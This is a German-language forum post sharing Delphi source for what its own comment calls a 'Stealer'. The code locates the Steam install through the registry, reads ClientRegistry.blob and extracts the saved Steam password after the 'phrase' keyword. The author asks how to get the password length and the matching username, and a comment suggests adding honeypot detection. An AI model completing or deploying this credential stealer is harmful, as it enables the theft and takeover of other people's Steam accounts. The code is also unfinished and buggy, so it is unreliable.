Hallo Leute,
ich habe etwas gecodet und habe hier nun ne Steam decryption.
Frage 1: Wie lange ist das dingens nach Phrase
Frage 2: wie kann ich den passenden user auslesen
FRAGE 3: !! Bug : Delphi gibt mir als text des Files inetwa "KOMISCHESZEICHEN 2 | " aus 
Code
- function decryptSteam(none: String):Boolean;
- begin
- // Let's Go!
- regist := TRegistry.Create;
- regist.RootKey:=HKEY_CURRENT_USER;
- regist.OpenKey('Software\Valve\Steam\',true);
- SteamPath := regist.ReadString('SteamPath');
- SteamPath := Steampath + '/';
- // Ok, now got Steam Path
- AssignFile(regblob,SteamPath + 'ClientRegistry.blob');
- Reset(regblob); // Try to open (requires Admin rights)
- try
- Read(regblob,regString); // Lese Steam Dingens ein^^
- except
- // No Steam or not Admin?!
- SteamUser := 'NOT AVAILIBLE BECAUSE';
- SteamPassword := 'NOT ADMIN (VISTA) or NOT INSTALLED';
- end;
- Showmessage(regString); // GEBE DATEI ZUM TEST AUS!
- I := Pos('phrase',regString); // Change here the Keyword if neccessary
- if I > 0 then begin
- Delete(regString,I,6);
- I := I + 6; // Pointer ist nun auf dem PW String
- PWLength := 28; // This is to change better the Decryption lenght of the String
- SteamPassword := Copy(regString,I,PWlength);
- ShowMessage(SteamPassword);
- end
- else // No Steam but registry.blob there?! Fuckyou!
- {This is usually a Place for a HoneyPot Detection,
- because if you got the Key where Steam is installed,
- and a clientregistry.blob is avalible i, there must
- be an encryptet "Phrase". Perhaps we had an Steam
- Update?! You can add here a detection, because even
- if a Steam Update was there, the Stealer needs to be
- updatet! }
- end;
